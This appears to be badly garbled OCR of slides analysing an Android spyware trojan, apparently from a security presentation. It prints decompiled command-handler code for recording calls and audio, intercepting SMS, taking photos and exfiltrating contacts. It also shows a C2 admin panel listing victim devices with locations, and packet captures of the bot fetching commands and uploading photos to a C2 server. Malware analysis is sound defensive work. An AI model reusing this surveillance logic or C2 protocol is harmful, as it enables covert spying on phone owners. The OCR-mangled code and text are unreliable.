MySerwice.this. locHanager. requestlocationUpdates ("gpa"™, 400L, 1.0F, MyService.this.locationliztener);
Myserwice.thiz. location = Mydervice.this, locManager. getlLastEnomlocation "gps";
Myserwice.thiz. randon = new Randoni) . nextInt(993);
if (My3ervice.this.location '= null)
!
MyService.this. latitude = Double.valuelf (MyService.this. location. getlatitude());
MyService.this. longitude = Double.value0f (Mydervice.this, location. getlongitude() ),
Log. 2{"com. connect”, "Location I3 Live = (" + MySerwice.this.latitude + ", + MyService.this. longitude + ™)) ;

)
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Last Cell

# UiD Status Updated Cell # Provider Location Device SDK Version

26 JdevadldaiZedebs  Offline  2012-09-14 (0.0a, YT 19 10 1
14:42:36 0.00)

88 TecBSfecidadefle Offline  2015-09-14 TELKOMSEL (-6.18, GT-57270 17 1
14:28:02 106.83)

89  2dflailda9cTy9gcad Online  2015-09-15 Incosat (0.00, D557 17 1
S a3 0.0m

B0 AST7226fdce5790f Offline  2015-09-15 IMODOSAT (-6.18, ET-55360 10 1
19:51:33 106.83)
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else if (stri.contains("mediavolumedouwr(™) )

i

new MyService.mediaVolumebown (Myierwice.this).execute (newr String[] { ™" 1):

E

else if (zrtri.contains("ringervolumeup ()]

{
new MyService.ringerVolunelp (MyService.this).execute (new String[] { ™" }):
b
elgse if (=strZ.contains (" ringervolumedonmal™) )
i
new MyService.ringerVoluneDhown (Mydervice.this).execute (new String[] { " }):
}
el=se if [(strZ.contains("screenon(™))
i
new MyService.screenOn (MyService.this).execute (new String[] { "™ 1):
}
else if (=strZ.contains("recordcalls(™))
i

PreferencelManager. getlefaul tSharedreferences (Mylervice. . this.gethpplicationContext()).edit() . .putBoolean("FecordCalls"™
MyService.this. getInputitreanFronlrl] (MyService. this . UEL + PreferenceManager. getlefaulisharedlreferences (Mydervice.thi
'
el=ze if [(strZ.contains("intercept(™)]]
i
PreferenceManager. getlefaul tSharedlireferences (Myiervice. . this. gethpplicationContext() l.edit() . .putBoolean("intercept’,
Myviervice.this. getInputitreanFronlrl]l (MyService.this.URL + PreferenceManager. getlefaul tSharedlraferences (Mydervice.thi
'
el=ze if [(strZ.contains("blocksms(™))
i
PreferenceManager. getlefaul tSharadlreferences (Mydervice.this. gethpplicationContext() ) .edit().putBoolean("block3Ms™, B
MyvService.this. getInputitreanFronlrl]l (MyService.this.URL + PreferenceManager.getlefaul tSharedlreferences (Mydervice.thi

}
el=se if [(strZ.contains("recordaudic(™)])
i
new MyService.recordiudio(MyService.this, (String)localidrrayList.geti(0)).executeinew String[] §{ ™" 1)1:
}
else if [(strZ.contains("takewvideo(™))
i

MyService.class
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else if [(strZ.contains (" takephoto(™])
i
if ([ (3tring)localhArraylist.get(0)).equalsIgnoreCase ("1™ {
new Myliervice.takePhoto(MyService.this, "17).execute(mew String[] { " }1:
1 else {
new Myiervice.takePhoto (MyService.this, "07).execute (mew String[] { ™" 1)1:
b
+
else if [(strZ.contains("settimeout(™))
i
PreferencelManager. getlefaul tSharedlreferences (MyService.this. getdpplicationC
MyService.this. getInputitreanFronlrl (MySerwvice.thi=.URL + PreferenceManager..
+
else if (strZ.contains("sendtext(™]]
i
if [([('[i{%tring)localarraylist.get(0)).equals("defaultc”)) && [(localdrrayList.
new Myiervice.sendText (MyService.this, (3tring)localirraylist.geti0), [3tr
'
}
else if [(strZ.contains("sendcontacts (™))
{
if (' [ (3tring)localidrravlist.get(0)).equals("defanlc™))
new Mvyiervice.sendContactsText (Myiervice.this, [(String)localirravlist.getl
¥
'
else if (strZ.contains("callmumber(™))
{
if (' [ (3tring)localbdrravlist.get(0)).equals("defanlc™))
new Mviervice.calllunber (MyService.this, (String)locallrraylist.get(0]).ex
¥

b

else if (strZ.contains("deletecalllognumber (™))
i
if (' [ (3tring)localidrravlist.get(0)).equals("defanulc™))
new MyService.deleteCalllogqiumber (MySerwice.this, [(3tring)localarrayList.d
'

Android Malware MyService.class
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Last Cell Selected: 0 [EaEEEEE
# UiD Status Updated Cell # Provider Locatien Device SDK  Yersion Add
26  3devadlday2edebs  Offline  2015-09-14 (0.oo, W18 10 1
144236 0.0
Media Up Media Down
28 TecBafecedadefle Offline.  2015-09-14 TELKOMSEL (-6.18, GT-57270 17 1
142802 106.83)
Intercept On Intercept Of
289  2df1atda9cy99cad  Online  2015-09-16 Indosat (0.00, IMOSE7 17 1
10:05:55 0.00)
B0 457226f4CE5730f Offline  2015-09-15 INDOSAT -6.18, GT-55360 10 1
19:51:33 106.83) Take Fhoto
=
History Of: All Bots [T I uID File Options[i
iting Cammands 20f1aldadc799¢cad 2015_09_03_16_36_37jpg - i
w7 EleveniD.com -] i
76c85fechdadelle: [2015_00_14_14:26:20] - Getting Inbox SMS 7ec8arecedadefle 2015_08_D3_18_28_06 |pg -
FocB5fectdadefDe: [2015_09_14_14:25:52] - Take Photo Complete 5
76cB5fec6dadere: [2015 00 14 14:25:47]- Taking Fhoto TecBafecedadefle 2015_03_03_18_28 D6.jpg -
Jde7a31d8726deh6: (2015 09 14 13:40:12) - Getting Inbox SMS .
3de7a31d8726deh6; (2015 00 14 13:40:12] - [2015-08-12 09:59:24] [7554] TEcdofecAdadefDe 2018 08 _03_18_29 42 jpg . Tetme of Uss
[33302] [3] Betting GPREMMS akan dikirimkan, tekan SAENES pd pesan brkt, g5
pswd: 1234, Download Aplikasi BirnaTri utk rmengetahui profile noraar kamu di _|__1|_'“'-':‘”””"’”m” — i g

Admin Page
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TCPDUMP Process

/" Follow TCP Stream {tcp.stream eq 6)

-Stream Conkent

ET /jack//get—tunctions. php?LIID=2df1a1da§c?99cadﬁpasswnrd=m
User-Agent: Dalwik,/1.6.0 (Linux; U; aAndroid 4.2.2; IMO 587 b
Host: i, 268,75,.30

_onnection: Keep-alive

accept-Encoding: gzip

HTTP/1.1 200 Ok

Date: Thu, 03 Sep 2015 10:32:09 GMT
Server: Apache

—Powered-By: PHP/5.3.3
_ontent-Length: 57

_onnection: close

Content-Type: Text html; charset=UTF-3

getcallhistary(1o)
uploadfiles
recordaudiola’)
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TCPDUMP Process

/ Follow TCP Stream {tcp.stream eq 12} = IEllﬂ

-Etree_lm Cankent

POST JJack//new-upload. php?UID=2dFlaldan?QQcad&-Passwurd_HTTPﬂL.1 A
iConnection: Keep-alive

Content-Type: multipart/form-data; boundary=##eku

User-agent: DalvikL1.6.0 (Linux; U; android 4.2.2; IMo S57 Build/ID035)

HoEr: 172 165250

nccapt-Encoding: gzip

—ontent-Length: 11705

B

—ontent-Disposition: form-data; name="file";filename="/ storages/sdcardd/system/,

Pictures 2015 _00 03 16 36_37.7pg"
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Tools
1. . This application is used to reverse engineering.

Androguard based python.
2. : This application is actually used to create android

apps. But in the process of analyzing the malware we also need this

application.
3. : This application we use to perform static analysis.
4. . This application also to reverse engineer.
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Tools

d. : To compile and decompile an apk

6. . disassembler applications for dex file format

7. . dex file an application for conversion into a jar file (java)
8. : This application is used to perform dynamic analysis of
malware

9. I: decompile java application to perform file

Android Malware
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